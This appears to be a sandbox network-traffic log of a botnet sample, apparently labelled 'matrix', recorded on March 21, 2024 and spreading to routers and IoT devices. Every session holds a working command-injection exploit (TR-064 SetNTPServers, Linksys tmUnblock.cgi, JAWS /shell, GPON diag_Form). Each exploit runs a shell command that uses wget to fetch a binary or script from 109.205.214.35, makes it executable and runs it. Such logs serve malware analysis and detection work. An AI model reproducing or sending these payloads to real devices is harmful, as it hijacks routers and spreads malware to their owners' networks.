Mar 21, 2024 05:25:54.348603010 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.23	53666	75.205.163.33	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.364577055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:55.056719065 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:55.860600948 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.23	53498	172.65.26.42	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.424189091 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.23	37694	92.172.61.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.521883011 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.23	37698	92.172.61.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.691854000 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.23	57386	52.39.160.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:54.875735044 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:55.439605951 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:55.613986015 CET	521	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:25:55 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 327 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 72 62 6e 6a 6f 79 77 61 6c 6e 75 74 63 72 65 65 6b 70 72 69 76 61 74 65 2e 74 72 65 65 7a 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at herbnjoywalnutcreekprivate.treez.io Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.23	55006	172.65.87.224	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:55.399044037 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.23	50534	172.65.225.232	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:55.399080038 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.23	39436	172.87.214.33	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:55.645931959 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:25:56.503475904 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:25:57.495496035 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.445324898 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:03.439574003 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:11.375015974 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:26.988269091 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:58.219933033 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.23	44510	209.237.187.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:56.007961988 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:56.625874043 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:57.363480091 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:58.832181931 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:01.907497883 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:07.790963888 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:19.565700054 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:43.881917953 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.23	42434	42.162.92.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124058962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.23	60940	37.76.252.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124059916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.23	38716	2.30.137.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124063969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.23	51386	178.41.95.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124088049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.23	46640	94.137.185.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124092102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.23	33232	94.144.193.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124114990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.23	47438	118.232.31.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124155045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.23	40030	79.231.198.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124165058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.23	34550	210.8.47.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124200106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
494	192.168.2.23	42332	2.14.196.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:57.124212980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
495	192.168.2.23	45050	94.226.136.133	443

Timestamp	Bytes transferred	Direction	Data
